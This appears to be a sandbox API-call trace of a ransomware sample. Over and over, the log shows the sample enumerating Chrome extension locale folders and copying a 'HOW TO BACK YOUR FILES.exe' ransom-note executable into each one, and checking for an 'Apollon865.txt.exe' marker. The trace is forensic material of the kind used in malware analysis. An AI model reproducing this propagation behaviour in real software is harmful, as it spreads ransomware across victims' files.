	[0049.700] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.705] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.705] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35b16f50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35b16f50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0049.705] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.705] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.705] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el"
	[0049.705] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el"
	[0049.705] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.705] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.711] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.711] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35b3d0b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35b3d0b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0049.712] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.712] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.712] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de"
	[0049.712] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de"
	[0049.712] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.712] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.716] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.716] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35b3d0b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35b3d0b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0049.716] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.716] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.716] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da"
	[0049.716] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da"
	[0049.716] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.716] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.722] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.722] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35b63210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35b63210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0049.722] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.722] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.722] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs"
	[0049.722] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs"
	[0049.722] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.722] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.726] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.726] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35b63210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35b63210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0049.726] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.726] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.727] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca"
	[0049.727] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca"
	[0049.727] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.727] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.732] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.732] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35b63210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35b63210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0049.732] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.732] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.732] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg"
	[0049.732] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg"
	[0049.732] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.732] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.742] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.742] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35b63210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35b63210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0049.742] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.742] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.743] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar"
	[0049.743] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar"
	[0049.743] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.743] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.746] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.746] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35b89370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35b89370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0049.747] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.747] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.747] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake"
	[0049.747] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake"
	[0049.747] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.747] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.751] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.751] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35b89370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35b89370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0049.751] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.751] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.751] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0"
	[0049.751] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0"
	[0049.751] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
